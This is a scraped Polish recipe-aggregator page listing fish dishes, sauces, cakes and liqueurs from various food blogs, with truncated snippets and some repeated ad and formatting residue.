Jeżynówka - nalewka z jeżyn według tradycyjnego przepisu Jeżynówka to jedna najlepszych letnich nalewek. Jest mnóstwo przepisów na nalewkę z jeżyn jednak warto wypróbować tę tradycyjną recepturę

Korniszonki
Tort węgierski - czekoladowy tort z wiśniami w alkoholu 373

Tort węgierski - klasyka deserów - czekolada, wiśnie, alkohol Tort węgierski, ten prawdziwy, powinni jeść tylko dorośli smakosze. Dlaczego? Ponieważ nieodzownym dodatkiem do tego specjału są wiśnie w

Korniszonki
Nalewka z wiśni wg. przedwojennej receptury 2497

Przepis na tradycyjną nalewkę z wiśni wg receptury sprzed wojny Nalewki z letnich owoców to prawdziwy cud w kieliszku w czasie zimowych chłodów. Dobrze zrobiona nalewka

Korniszonki
Sałatka zimowa z ogórków w zalewie octowej 165

Zimowa sałatka z ogórków w zalewie octowej z czosnkiem, cebulą i pietruszką   Zimowe sałatki w słoikach to idealny dodatek do obiadów w miesiącach, gdy świeże

Korniszonki
Gulasz rybny z zielonymi warzywami – groszkiem, fasolką szparagową, cukinią i brokułami 174

Rzadko jadam ryby, choć je lubię. Nie lubię jednak ich przygotowywać, nie przepadam za ich zapachem i konsystencją tych surowych. Jednak sa takie danie, które robi się prosto i dla których warto się przemóc. Jednym z nich jest gulasz rybny z zielonymi warzywami – groszkiem, Read More Artykuł Gulasz rybny z zielonymi warzywami – groszkiem, fasolką szparagową, cukinią i brokułami

Flymetothespoon
5 najpopularniejszych rodzajów makaronu 127

najszerszych nitek, a jego korzeni należy upatrywać w kuchni z Toskanii. Pappardelle można zamówić we włoskich restauracjach (np. http://www.estella.pl/menu-restauracyjne/makarony ) i najczęściej podawane jest z owocami morza lub rybami. Pappardelle z doradą 500 g makaronu pappardelle, 300 g fileta z dorady, cebula, 2 ząbki czosnku, śmietana kremówka 36%, bazylia, tymianek, sól, pieprz. Naczynie żaroodporne wyłożyć papierem do pieczenia(...)ułożyć w nim ugotowany makaron. Następnie dodać do niego zeszkloną cebulę z czosnkiem oraz kawałki surowej ryby. Całość zalać śmietaną kremówką z dodatkiem przypraw. Zapiekać w piekarniku przez ok. 20 minut (preferowana temperatura to 180°C). Spaghetti Bez wątpienia najbardziej rozpoznawalna odmiana makaronu. Przeważnie wytwarzana jest z mąki pszennej, ale coraz częściej można spotkać produkty powstające na bazie mąk smakowych

CookMag
Tajskie kotleciki rybne – lekkie i zdrowe 172

Przepis jest zainspiroway recepturą Donny Hay, lecz wzbogaciłam go o kilka składników, które nadały więcej smaku. Porcja dla ok. 3 osób. Tajskie kotleciki rybne: 500 g filetów z białej ryby (np. z dorsza) bez skóry i ości 2 łyżki słodko-pikantnego sosu chili 2 łyżeczki startego imbiru 2 wyciśnięte ząbki czosnku 3 łyżki sosu sojowego skórka otarta z limonki

Poezja smaku
Śledzie smażone w zalewie octowej wg Kuronia 82

Jako jedna z niewielu w mojej rodzinie jestem fanką ryb ;-)) Zwłaszcza podczas świąt ubóstwiam śledzia opiekanego w zalewie octowej ;-) Kojarzy mi się on z babcią od strony taty, bo mamcia niestety niezbyt często go robiła. Za to u babci śledzika m The post Śledzie smażone w zalewie octowej wg Kuronia appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka z kaszy kuskus z groszkiem 103

Tylko kilka składników i można wyczarować smaczną sałatkę. Sałatka z kuskusem i groszkiem pasuje do dań mięsnych oraz ryb.  Sałatka z kaszy kuskus z groszkiem / 2 porcje Składniki: 100 g kaszy kuskus 400 g konserwowego groszku 1/2 cebuli 1/3 pęczka natki z pietruszki sól, pieprz do smaku Przygotowanie: Kaszę kuskus przygotowujemy zgodnie z opisem na opakowaniu. Groszek płuczemy(...)groszkiem. Cebulę drobno kroimy i dodajemy do kaszy z groszkiem. Natkę z pietruszki siekamy i łączymy z pozostałymi składnikami. Doprawiamy do smaku. Mieszamy. Podajemy jako dodatek do ryb, mięs i warzyw z grilla

Moja smaczna kuchnia
Racuchy vs ołatki 135

burger ? Ja wiem, że dużo miejskich dzieci myśli że krowy są fioletowe, ale nawet jeśli, to zapewniam Was ja, który doił w dzieciństwie krowę, że nie widziałem ryby, która by ją przypominała. Abstrahując już od tego, że ryba, w myśl definicji handlowej, to nie mięso. Więc czemu fishburger tak, a vegeburger już nie? Mam coś dla Was kochani, może

Kryzysowa Książka Kucharska
Paella z dorszem i fasolką 148

oleju. Dodaję pokrojone papryki i przesmażam, ryż, dodaję sól, pieprz, curry, przecier. Wlewam 500 ml bulionu, dodaję fasolkę pokrojoną na kawałki i na wolnym ogniu gotuję. Nie mieszam. Rybę kroję na kawałki, oprószam solą, pieprzem. Jak bulion zostanie wchłonięty przez warzywa i ryż, dolewam pozostały, układam kawałki ryby na wierzchu. Przykrywam folią aluminiową i gotuję jeszcze 5 minut

wesoła kuchnia
Pasta z makreli 150

push({}); Składniki: 1 makrela wędzona 1 średnia cebula 4-5 łyżek kukurydzy z puszki 3-4 łyżki majonezu. sól i pieprz do smaku (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: Oddzielamy mięso ryby od ości i przekładamy do miseczki, następnie siekamy w drobną kosteczkę cebulę i dodajemy wraz z kukurydzą do ryby. Doprawiamy solą i pieprzem i mieszamy z majonezem, możemy przyozdobić siekanym

Studencka Micha
Burgery rybne 114

programie, opracowałam własny przepis na burgery rybne , które – pewnie Was to nie zdziwi ;) – wyszły przepyszne ! Sekretem owych burgerów rybnych jest po pierwsze użycie dwóch rodzajów świeżych ryb: tłustej makreli oraz dowolnej białej ryby, bez skóry i ości, posiekanie ich nożem (nie żadnymi robotami), wymieszanie ze skórką cytrynową (nie sokiem), odrobiną bułki tartej i nie dodawanie jaja. Po drugie

Moja Delicja
Zapiekane ziemniaki w śmietanie 96

które przepisem dzisiaj się z Wami podzielę Zapiekane ziemniaki w śmietanie to prawdziwa bomba! Nie wymagają żadnych dodatkowych sosów, czy dipów. Ja podałam je do smażonej ryby, ale były tak dobre, że w sumie ryba zeszła na drugi plan i zajadaliśmy się tylko ziemniaczkami. Ziemniaki są bardzo podobne do francuskich Gratin Dauphinois, jednak w przypadku francuskiej zapiekanki ziemniaki surowe zapieka

PatiGotuje
SOS ŚMIETANOWY Z KOPERKIEM I SZCZYPIORKIEM 90

bardzo prosty sos śmietanowy z koperkiem (i szczypiorkiem) idealnie sprawdza się zarówno jako dodatek do np ryby, jak i sos w sałatce ziemniaczanej. Mimo obecności śmietany i majonezu nie jest ciężki – to z kolei zasługa ziół i soku z cytryny. Gorąco polecam! This very simple, cream sauce with dill (and chives) works perfectly with f.e. fish(...)smaku) pieprz sól wymieszaj śmietanę z majonezem koperek i szczypiorek drobno posiekaj, dodaj do sosu dopraw sokiem z cytryny, solą i pieprzem podaj jako dodatek do gotowanych ziemniaków, ryby, albo jako sos do sałatki Smacznego! *w sumie ok 0,5-1 szklanki posiekanych ziół. Oczywiście możesz dodać mniej lub więcej – wedle uznania (adsbygoogle = window.adsbygoogle || []).push({}); Kliknij, jeśli chciałbyś wesprzeć

SandraFrej.com
Zupa rybna z wędzonym łososiem 199

paprykę. Gotować do momentu aż warzywa stracą surowość ale jeszcze będą jędrne ( nie rozgotowane), dodać koncentrat pomidorowy oraz pokrojone pomidorki . Na koniec do wywaru dodać   pokrojoną w cząstki rybę i jeszcze chwilę gotować do zaparzenia się ryby. W razie konieczności doprawić , posypać posiekaną natką pietruszki. Podawać z cząstkami cytryny, którą skropić zupę na talerzu

W garach u Gosi
Pierwszy krok w chmurach. 102

później praktyki w restauracji, okazały się próbą nie tyle umiejętności, co charakteru. A przynajmniej tak było w moim przypadku. Wszystko – począwszy od sposobu trzymania noża, skończywszy na filetowaniu ryby (rzeczy dla kogoś po szkole gastronomicznej tak dziecinnie proste, że wstyd się przyznać, że się ich nie wie) – było nowością. Gdyby tego było mało, wszystko odbywało się w języku(...)gdzie (co z resztą zrobiło na mnie ogromne wrażenie już pierwszego dnia) do produktów i przygotowanych z nich dań podchodzi się z niesamowitą dokładnością, pasją i zaangażowaniem. Każda dostawa ryb i owoców morza to wydarzenie: kucharze z Tastem (często też z siostrzanej restauracji Honoo ) gromadzą się wokół styropianowego pudełka i zawzięcie dyskutują problem świeżości przywiezionego dzisiaj tuńczyka, bądź też stoją

Gotuj po hiszpańsku
Makaron z tuńczykiem, pomidorami i oliwkami 129

Makaron ze świeżymi i suszonymi pomidorami, oliwkami i tuńczykiem 🐟 Jeden z moich ulubionych.Przyznawać się... Kto je ryby, a kto nie? My w lecie zdecydowanie częściej ze względu na działkę przy stawach. Składniki na 3 porcje: 300 g makaronu 1 puszka tuńczyka w sosie własnym 1 pomidor Garść oliwek 5 suszonych pomidorów Świeża bazylia 1 ząbek czosnku 1 łyżka masła

Czarnawisienka
Sos z suszonymi pomidorami 119

aromatyczne i sos z ich dodatkiem świetnie poprawia smak potraw. Sos sprawdza się jako dip do pieczonych lub surowych warzyw i grillowanego mięsa. Nie sprawdzałam tylko połączenia sosu z rybami, gdyż byłby chyba zbyt intensywny i zdominowałby smak ryby. Przygotowując sos z suszonymi pomidorami, najlepiej pomidory dodawać stopniowo, gdyż mogą one mieć nie tylko różny stopień wysuszenia, ale i intensywność

Gotuj w domu
Łosoś pieczony z paprykami 102

paprykami do piekarnika rozgrzanego do temperatury 180 st. C (góra- dół) i piec całość przez ok. 18-20 minut w zależności od grubości filetów (do czasu aż mięso ryby będzie w środku upieczone). Po tym czasie przełożyć upieczonego łososia wraz z warzywami na talerz i oprószyć go świeżo posiekanym szczypiorkiem. Podawać rybę np. z pieczonymi ziemniaczkami lub z ulubioną kaszą

Kulinarne Przeboje
Winerua – Box z winem – recenzja 106

kwasowością i nutami wody różanej, brzoskwiń, cytrusów i ziół. Jak można domyślić się z pięknej etykiety Dos Claveles to po hiszpańsku 2 goździki Winerua poleca je do owoców morza, ryb i białego mięsa, ale moim zdaniem będzie też dobre do owocowego deseru. Myślę, że mogłabym skusić się na nie ponownie. Pecorino 2018 z regionu Torre di Chieti w Abruzji Producent(...)środkowych Włoch, ze szczepu Pecorino. Nie dość, że wegańskie i organiczne, to jeszcze ręcznie zbierane. Jest zbalansowane z nutą zielonych gruszek, moreli i cytrusów. Dobrze pasuje do makaronu, ryby i dań warzywnych. Winerua poleca je do lazanii z cukini czy tarty z porem. Wydaje mi się, że to najdroższe wino z tego zestawu, ale najmniej mi smakowało. Dużo ostatnio jednak

Ugotowane pozamiatane
Zupa warzywna z morszczukiem 112

dodać warzywa oraz ziarnka pieprzu. Całość posolić i gotować pod przykryciem na średnim ogniu, aż do miękkości warzyw. Morszczuka umyć i pokroić na mniejsze kawałki. Do ugotowanych warzyw dodać rybę. Gotować 1 minutę. Zupę przykryć pokrywką i pozostawić na kilka minut (w międzyczasie ryba ugotuje się w gorącym wywarze warzywnym). Na sam koniec zupę przyprawić pieprzem oraz ewentualnie dosolić

Ugotować
Prosta surówka z młodej kapusty 102

Sobota! Zamarzyła mi się surówka z młodej kapusty. Uwielbiam młodą kapustę! Surówka z młodej kapusty to popularna przystawka do letniego obiadu. Przyrządzam ją mięsa i ryby. Surówka świetnie sprawdza się również do grilla . Dzisiaj grillowaliśmy żeberka w miodzie , więc lekko kwaśna surówka z młodej kapusty świetnie do nich pasowała. Pogoda dopisała od samego rana. Zapowiadane upały jakoś nie mogą(...)śmietaną, musztardą, solą i pieprzem. Tak przyrządzony sos można użyć jako zimny sos do mięsa np. do hamburgerów. Dodaj sos do warzyw i wymieszaj sałatkę. Podawaj do mięsa i ryby. Smacznego!   The post Prosta surówka z młodej kapusty appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Łosoś pieczony z warzywami i kaszą pęczak 114

pieczenia (najlepiej taką załączoną do piekarnika), wyłożyć ją papierem do pieczenia. Na nim ułożyć kawałki łososia oraz pokrojone na kawałki szparagi. Oprószyć je solą i pieprzem, a następnie polać rybę i szparagi wyżej przygotowaną marynatą z oliwy, cytryny i ziół. Wstawić blaszkę do piekarnika nagrzanego do 200 st. C i piec całość przez ok. 15-16 minut aż ryba będzie

Kulinarne Przeboje
Tatar z łososia 108

Tatar z łososia jest bardzo apetyczną przystawką. Dość prosta i szybka w przygotowaniu. Delikatna, ładnie prezentuje się na stole:) Łosoś jest bardzo wdzięczną rybą, można ją przyrządzać na bardzo wiele sposobów. Myślę ,że każdy będzie pyszny bo sama ryba jest wyjątkowa. Na uwagę zasługuje to , że łosoś posiada znaczną ilość różnorodnych nienasyconych kwasów … Czytaj dalej Tatar z łososia Artykuł

gotuj ze mną
Restauracja Eliksir 115

golec z duszoną i grillowaną młodą kapustą, puree z młodej marchwi, sos beurre blanc na redukcji z soku marchwiowego z kardamonem, anyżem i białym winie, oliwa koperkowa. Golec to ryba z rodziny łososiowatych. Bardzo smaczna, a podana w sposób wyjątkowy. Oczywiście rozpieścili mnie sosem polewając rybę już na talerzu. Do tego koktajl Kwiat radości – Beefeater, schrub (syrop z octem

Kucharzyca
DUTCH BABY Z OWOCAMI - PIECZONY NALEŚNIK 165

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie dopieczona(...)Electrolux  wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być

Słodko-Słony Świat Ilony
JAJKA ZAPIEKANE Z CIECIERZYCĄ W POMIDORACH 184

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie dopieczona(...)Electrolux  wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być

Słodko-Słony Świat Ilony
TOSTY FRANCUSKIE Z PIEKARNIKA Z OWOCAMI 206

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie dopieczona(...)Electrolux wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być może

Słodko-Słony Świat Ilony
SWOJSKA ZAPIEKANKA MAKARONOWA Z KIEŁBASĄ, BOCZKIEM I WARZYWAMI 147

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie dopieczona(...)Electrolux wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być może

Słodko-Słony Świat Ilony
Jak wzmocnić nasz układ odpornościowy? 90

witaminę A są dobre dla naszej skóry, bo chronią ją przed rakiem, ale i opóźniają tempo jej starzenia się. Witaminę A znajdziemy w wątróbce, pełnotłustym mleku, nerkach, nabiale, tłustych rybach. Produkty bogate w Żelazo powinniśmy spożywać, bo brak tego pierwiastka w naszym organizmie powoduje zmniejszenie odporności na infekcje. Żelazo znajdziemy w czerwonym mięsie, wątróbce, warzywach o ciemnych liściach czyli(...)szpinaku i natce pietruszki, żółtku jaj, mleku, rybach i krewetkach oraz w owocach bogatych w witaminę C czyli cytrusy, truskawki, kiwi i czarna porzeczka i warzywach jak papryka i brukselka. Przyswajanie Żelaza utrudniają picie kawy i herbaty oraz spożywanie nabiału.  Berta-karoten znajdziemy w cytrusach, mango, szpinaku, brokułach, pomarańczowych, ciemnozielonych i żółtych owocach: melony, mango, marchew, szpinak, dynia, brokuły

Moja smaczna kuchnia
PIECZONA OWSIANKA Z TRUSKAWKAMI 170

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie dopieczona(...)Electrolux wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być może

Słodko-Słony Świat Ilony
Sos holenderski 112

Zobacz jak zrobić najlepszy sos holenderski do szparagów, jajek, ryby oraz gotowanych warzyw. To mój sprawdzony i niezawodzony przepis na ten pyszny, francuski sos. Jest prosty i szybki do zrobienia. Zapraszam! - jeden z 5 popularnych sosów francuskich - najlepszy do szparagów, ryb i warzyw  - tradycyjny i sprawdzony przepis

AniaGotuje.pl
Cullen Skink - gęsta zupa szkocka 157

wędzonego na zimno metodą z północno - wschodniej Szkocji, do której wykorzystuje się głównie świeże drewno i torf do produkcji dymu. Cullen skink może być również przygotowana z innych wędzonych ryb o białym, nieoleistym mięsie. Zupa ta jest regionalnym specjałem miasteczka Cullen w Moray, na północno - wschodnim wybrzeżu Szkocji. Prezentuje się ją zarówno jako przystawkę na oficjalnych szkockich kolacjach

Moje Małe Czarowanie
Dorsz pieczony z bakłażanem i ziemniakami 217

Ryba, bakłażan i ziemniaki zapiekane w piekarniku. Pod koniec pieczenia dorzucam pomidory koktajlowe. Całość podaję na mieszance sałat, posypane fetą i liśćmi bazylii. Dietetyczne danie w stylu nieco śródziemnomorskim. Ziemniaki

Bullio
Ciasto ucierane z truskawkami i kruszonką 169

Truskawkowe ciasto ucierane z kruszonką i cukrem pudrem Maj to truskawkowy miesiąc. W tym czasie jemy truskawki na wszystkie sposoby. Oto prosty przepis na pyszne ciasto

Korniszonki
TARTA ZE SZPARAGAMI I KOZIM SEREM (NA CIEŚCIE FRANCUSKIM) 144

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie dopieczona(...)Electrolux wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być może

Słodko-Słony Świat Ilony
PRZEPIS: SOS KORNISZONOWY - do gotowanych ryb i mięs 146

Domowy sos korniszonowy. Wypróbowany przepis, składniki i przygotowanie sosu korniszonowego krok po kroku.      Sos korniszonowy to pyszny dodatek do drugiego dania. Nadaje charakteru gotowanemu mięsu oraz rybom, uzupełniając ich naturalny, łagodny smak. Wypróbujcie kotleciki ziemniaczane albo jajeczne z sosem korniszonowym. Absolutna rewelacja!      Sos korniszonowy przygotujecie naprawdę szybko. Wystarczy kilka składników i wszyscy będą oblizywać(...)korniszonowy doprawić solą i ewentualnie cukrem. Jeżeli sos wyjdzie z gęsty można dolać smaku (zalewy) z ogórków albo wody. Rozprowadzić śmietaną. Sos korniszonowy podajemy gorący do gotowanego mięsa, ryb, kotlecików ziemniaczanym oraz jajecznych. Przed wydaniem posypujemy posiekaną zieleniną. Smacznego :) Sos korniszonowy

Moja Książka Kucharska
SOS CHRZANOWY - tradycyjny przepis, który warto zapamiętać 108

pulpety w sosie chrzanowym uwielbiają chyba wszyscy. Zobacz prosty przepis na domowy sos chrzanowy. Sos chrzanowy - przepis na najlepszy dodatek do schabu, karkówki, pulpetów, klopsów, pieczonych lub gotowanych ryb oraz jajek. Sos chrzanowy - pyszny sos do ryby lub schabu.   Sos chrzanowy - jak go przygotować? Do przygotowania sosu chrzanowego będą Wam potrzebne: 1/2 łyżki masła 1/2 łyżki mąki pszennej

Moja Książka Kucharska
Torcik bez pieczenia z masą z kaszy mannej 178

Torcik bez pieczenia z masą grysikową Torcik bez pieczenia to idealny deser dla każdego, kto niezbyt mocno czuje się w pieczeniu tradycyjnych biszkoptów. Takie ciasto świetnie

Korniszonki
Jak jeść na all-inclusive? 189

południa, bo przecież wszyscy wokół cały czas jedzą. :) Obiad i kolacja Jesz wszystko, co dozwolone na diecie... czyli masz ogromny wybór na takich wakacjach. Możesz wybierać pośród mięs, ryb, serów i warzyw. Odradzam jeść zupy. Niestety często są zagęszczane i mają sporo węglowodanów. Pamiętaj, aby najpierw nakładać sałatę i warzywa. Niech stanowią 3/4 twojego talerza. Wszystko polej oliwą z oliwek(...)sałatę kładź dowolne mięso czy ryby. Masz ochotę na więcej mięsa? Nie zapomnij polać wszystkiego tłuszczem. Chcesz wziąć dokładkę? Nie ma sprawy, ale podstawą zawsze ma być sałata. Bez sałaty polanej oliwą/tłuszczem nie ma dokładki. Poniżej zdjęcia przykładowych dań: Jedz ile chcesz... pod warunkiem, że są to w miarę racjonalne ilości. ;) Nie podjadaj jednak między obiadem i kolacją

Keto Przepisy
Sosy do pieczonych warzyw, mięs i grilla 135

Sezon grillowy już za rogiem. Zazwyczaj w majówkę wyciągamy grille i rozpoczynamy sezon przysmaków z ruszta. Kiełbaski, karkówka, szaszłyki, ryby, warzywa i owoce... Sam ketchup i musztarda może nie wystarczyć;)  Do takich dań również warto przygotować odpowiednie sosy. Poniżej podaję kilka przepisów na sosy, pasujące do pieczonych warzyw, mięs czy ryb. Można nimi również doprawiać sałatki, dzięki czemu będą

Obiad gotowy
Menu na tydzień: Jak zrobić grilla w domu 96

Pieczone żeberka w sosie barbecue, grilowania ryba, stek, kaszanka i warzyw – wszystko z grilla, tyle że zrobionego w domu, w piekarniku. To doskonała alternatywa dla klasycznego grilla. Pozdrowienia z Krainy Deszczowców! Właśnie zaczęliśmy długo wyczekiwaną majówkę, wymarzony wyjazd, pierwszy od miesięcy, gdyż wszystkie wcześniejsze urlopy trzeba było odwołać ze względu na ciągle, żłobkowe infekcje Miłosza. Opuszczaliśmy Warszawę przykrytą ciężkimi(...)mówiąc jest to metoda pieczenia en papilote. My w tym tygodniu tak będziemy robić. Jeszcze w Warszawie upiekliśmy super żeberka w sosie barbecue. W menu jest jeszcze grillowany kurczak, ryba, kaszanka i warzywa. Zapraszamy do odwiedzania Niedzielnego Kucharza. Mamy nadzieję, że nasze przepisy zainspirują Was i pomogą przetrwać majówkę. Pieczone żeberka w sosie barbecue Artykuł Menu na tydzień: Jak zrobić

Niedzielny kucharz
Wielkanocny pasztet z kurcząt z cząbrem, estragonem i tymiankiem 186

Pasztet z ziołami oraz z żurawiną Tradycyjnie w pasztecie powinno znaleźć pięć rodzajów mięsa, jednak według tego przepisu zrobicie pyszny, lekki i pachnący ziołami pasztet z

Korniszonki
Warstwowa sałatka jak tort z tuńczykiem i pieczarkami marynowanymi 121

wodzie i pozostawić do ostudzenia. (Najlepszy jest ugotowany poprzedniego dnia.) Jajka ugotować na twardo i następnie zetrzeć na tarce o dużych oczkach, tak samo jak żółty ser i marchewki. Rybę, groszek i pieczarki odcedzić z zalewy, a cebulę drobno posiekać. Składanie sałatki. W tortownicy warstwami ułożyć ryż, groszek (trochę pozostawić do przyozdobienia wierzchu), ser, rybę, cebulę, jajka, marchewkę. Ryż

Di gotuje
Zupa pomidorowa z rybą 127

Pyszna zupka, prosta i szybka do zrobienia. 2 marchewki domowa vegeta sól, pieprz listek, ziele dowolny makaron 2 -3 łyżki koncentratu pomidorowego śmietana dowolna ryba Marchewki obrać i pokroić w półplasterki, przełożyć do garnka, wlać wodę, dodać przyprawy, gotować do miękkości warzyw, następnie dodać koncentrat pomidorowy i kawałki ryby [ wcześniej posypane przyprawami].Podawać z ugotowanym makaronem

Moje domowe kucharzenie
Wiosenna jajeczna sałatka z makrelą, rzodkiewką i szczypiorkiem 102

Kolorowa sałatka z delikatną wędzoną rybą, która idealnie komponuje się z ostrą czerwoną cebulą, jajkami, żółtym serem, pachnącym szczypiorkiem i chrupiącą rzodkiewką. Składniki: 300g obranej z ości makreli 1 czerwona cebula 7 jajek 300g żółtego sera 10 rzodkiewek 1 pęczek szczypiorku 4 łyżki majonezu sól pieprz Wykonanie: 1. Makrelę podzielić na mniejsze części, a cebulę drobno posiekać. 2. Jajka ugotować(...)Białko drobno pokroić, a żółtko rozgnieść widelcem. 3. Żółty ser pokroić w małą kostkę, rzodkiewki w plasterki, a szczypiorek drobno posiekać. 4. Sałatkę układać warstwami: Żółtka, sól, pieprz, cebula, ryba, 2 łyżki majonezu, żółty ser, białka, sól, pieprz, 2 łyżki majonezu, rzodkiewka i szczypiorek

Szalona Kuchnia Eweliny
Smażony pstrąg łososiowy z sosem jogurtowym i pomidorkami koktajlowymi 119

myjemy, suszymy i kroimy na porcje. Każdy kawałek oprószamy pieprzem, czosnkiem i solą z obydwu stron, a następnie obtaczamy w mące.  Na patelni rozgrzewamy olej i nakład kawałki ryb skórką do dołu. Smażymy kilka minut na średnim ogniu aż skórka zacznie się rumienić. Przekładamy pstrąga na drugą stronę i dodajemy masło. Smażymy około 4-5 minut do zrumienienia

Qchnia po prostu
Sałatka ze słoika – z bobem i fasolką 146

oprócz nich? Do zielonej, marynowanej bazy sprawdzą się drobne kulki mozzarelli lub klasyczna mozzarella pokrojona w kostkę, bundz, ser bałkański, a także miękki ser kozi i owczy. Inna wędzona ryba? Pasuje wędzony na ciepło łosoś, pstrąg albo makrela. Nawet szprtki! A nawet ośmiornica albo krewetki z zalewy zrąbią z tej sałatki bardzo wykwintną pozycję. Do takiego zestawu smaków pasuje też

Karo in the Kitchen
Kanapka ze śledziem 311

Kanapka ze śledziem to dość oryginalny pomysł na podanie tej znanej głównie z przystawek ryby. Wykorzystamy tutaj śledzia marynowanego w occie. Do przygotowania tej kanapki możecie użyć dowolnej bułki, ja tym razem wykorzystam zwykłą pszenną bułeczkę. Składniki bułka sałata cebula cukrowa filety śledziowe z octu Kanapka ze śledziem – przepis Bułkę kroimy na pół, ale uważając aby nie przekroić

Kulinarnyblog.pl - wiesz jak gotować!
Restaurant Week - Quale 133

niepotrzebnie, gdyż był bardzo subtelny i smaczny. Amatorów pysznego jedzenia może rozczarować jedynie porcja, ale na pewno nie smak! 👉 Łosoś, risotto z gorgonzolą, brokuł Bardzo odważne połączenie dość tłustej ryby jaką jest łosoś z bardzo wyrazistą w smaku gorgonzolą. Ryba była soczysta i świetnie przyprawiona, a skórka usmażona na chrupko - tak jak lubię najbardziej! Risotto aksamitne i bez zarzutu. Całości

Cooking Monster
Domowy paprykarz z makrelą i marchewką 119

Paprykarz to tradycyjna potrwa kuchni węgierskiej składająca się z mięsa ryb, papryki i ryżu. W moim wydaniu z wędzoną makrelą, marchewką i ryżem. Zdrowe mięso rybie plus marchew i brązowy ryż idealnie ze sobą współgrają i tworzą idealną pastę do świeżego pieczywa. A do picia polecam sok Słoneczne Pomarańcze z cząstkami miąższu - 100 % soku tylko od Hortex.  Składniki: 300g

Szalona Kuchnia Eweliny
Wykwintny tort z orzechów laskowych z kremem śmietankowym 145

Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband

Korniszonki
Makaronowy torcik z pstrągiem i pieczarkami 116

